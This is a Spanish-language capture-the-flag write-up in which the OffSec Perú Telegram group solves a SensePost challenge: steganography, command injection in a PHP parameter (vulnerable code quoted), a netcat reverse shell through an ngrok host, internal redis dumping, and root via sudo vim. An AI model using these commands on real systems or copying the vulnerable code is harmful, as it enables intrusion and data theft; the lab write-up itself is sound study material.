Hola estimados lectores, en esta oportunidad vamos a mostrar como el grupo de telegram OffSec Perú resolvió un CTF mundial que lanzo la organización "SensePost" el 27 de abril del presente año.
"SensePost es el brazo de
consultoría de élite independiente de SecureData, reconocido por su
experiencia y trayectoria de 20 años de innovación en la vanguardia de la
ciberseguridad."
Más información:
Este reto consta de 4 banderas que debemos obtener por diferentes niveles y mecanismos.
Sitio web del reto:
(14/05/2020 la web por alguna razón esta fuera de servicio)
¿Como supimos de este reto?
El 1 de mayo el Walter lanza un reto al grupo de telegram, en el cual varios integrantes empezamos a resolverlo juntos.
- Paso 1 recopilación de información
Los archivos *.html podríamos ingresar por defecto al iniciar consecutivamente los retos.
En este punto debíamos pensar como en HTB "Algunas pistas estaban comentadas en el código fuente", dentro del código fuente se encontró una pista en la siguiente etiqueta.
Tw0 <------------- (Si el reto fuese peruano, creeríamos que es una palabra tipo Amixer xD)
Pero no este texto estaba en formato Camel-Case.
https://dencode.com/string
¿Qué es Camel-Case?
Es una convención de nomenclatura en la que cada palabra dentro de una palabra compuesta se escribe con mayúscula, excepto la primera palabra
Posteriormente se encontró la siguiente ruta.
https://challenge.sensepost.ninja/256.html
En ese momento todo el equipo pensó que era una pista que significaria que el acceso al sistema lo podríamos hacer por SSH aprovechando una vulnerabilidad a nivel servicio o de usuario (Mala configuración de permisos de ejecución).
Desde este punto.............
Paso 2 Escaneo
En el fuzzing encontramos un ruta logout.php, que nos redirigía a quinque.php.
https://challenge.sensepost.ninja/quinque.php
"Encontramos una pista comentada en el código fuente"
pero no encontramos un panel de usuario en el sitio web, en este punto un colega del equipo menciono algo interesante "¿encontraron algo en las imagenes de los badge por steganography?"
Efectivamente dio en el punto clave, dentro de la carpeta imagen "Se encontraron 4 archivos, entre ellos "top_secret.jpeg".
Efectivamente la contraseña "BbR4fZ6g" que encontramos en el archivo secrets.txt nos permitía acceder al flag numero 1.
- steghide info top_secret.jpeg
- steghide extract -sf top_secret.jpeg -xf pass.txt
Añadimos el Flag en el formulario que estaba en quinque.php
Passed!, en este momento nos dirigió al siguiente
https://challenge.sensepost.ninja/firstflag.php?file=completedHHF
- Paso 3 Evaluación
firstflag.php?file= encontramos un Remote Command Execution(RCE) en el parametro get "file"
?php
$file=$_GET['file'] . ".html";
system("cat $file");
?
Un RCE permite ejecutar comandos del servidor afectado remotamente.
en ese momento empezó el verdadero desmadre xD
netcat estaba instalado en el servidor, una ventaja para conectarnos remotamente el sistema.
En este punto necesitabamos establecer una conexión WAN, para ello se requirió el uso de Ngrok(Opcional, si no deseas abrir tus puertos en tu router)
Esta herramienta permite establecer una tunelización de nuestra red con el servidor de ngrok para recibir peticiones de entrada a nivel WAN.
- ./ngrok tcp 9999
- https://challenge.sensepost.ninja/firstflag.php?file=completedHHF;nc 0.tcp.ngrok.io 13439 -e /bin/bash;
Ejecutamos la conexión en netcat desde el parámetro get afectado con RCE!
Boom tenemos acceso al sistema, en este punto ya no tome capturas porque no pensaba realizar un articulo sobre este CTF.
Aqui encontramos el segundo flag !
https://challenge.sensepost.ninja/firstflag.php?file=|cat ../flag2.txt
- ls -la
- cat flag2.txt
Flag2: SP-4aa672bd2e735cc7a314019f4d11bcae
Desde este punto, vamos aplicar algunos comandos para recopilar archivos o procesos con permisos de usuario.
El usuario actual es www-data, necesitamos ser usuario root para conseguir privilegios y leer los 2 flags restantes.
Pero antes!
- python -c 'import pty; pty.spawn("/bin/bash")'
Nos permitirá abrir una terminal bash.
- find / -perm -u=s -type f 2>/dev/null
En este momento no existía nada en la conexión local, uno de los integrantes realizo un escaneo con nmap.
- ip a | grep "eth0"
- nmap 192.168.32.1/24
Se encontró un hostname "redis-server.internal"
Se procedio a realizar un descubrimiento de hosts en la red y se encontro el 192.168.32.3 con el puerto 6379
- redis-cli -h 192.168.32.3
Ahora solo nos queda ejecutar las lineas de comandos de redis para verificar el flag.
Efectivamente encontramos claves en la base de datos, para dumpearlas tuvimos que utilizar el comando GET dentro de redis.
- KEYS *
- get flag3
- get notas
Flag3: SP-d5d8f27b7d7ddb7c925ad6b74a40b7e5
Ahora solo nos quedaba el ultimo flag!, este fue el mas sencillo simplemente listamos que archivo esta usando el usuario root !
- sudo -l
:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/
User www-data my run the following commands on ebe6a4fbcfa8:
(root) NOPASSWD: /usr/bin/vim
Abrimos una terminal en bash mediante vim y tendremos acceso root (ya que no requiere una contraseña) y buscamos nuestra flag4.txt
- sudo vim -c '!sh'
- find -name "flag4.txt"
Flag4: SP-825b4db3b321b46add5e88c4c007cd73
PASSED!!!
- Paso 4: Analisis / Reporte(Screenshots)
-------------------------------------------------------------------------------------------------------------------------------
Realidad: el paso 3 se hizo al ultimo!! jajajajajaja
El primero en obtener root fue Luis Morales.
Posdata: si existe un hater por ahí.... podríamos a ver hecho primero eso:
- sudo -l
- sudo vim -c '!sh'
- find -name "flag*.txt"
Saludos de parte de todo el team Offsec Perú !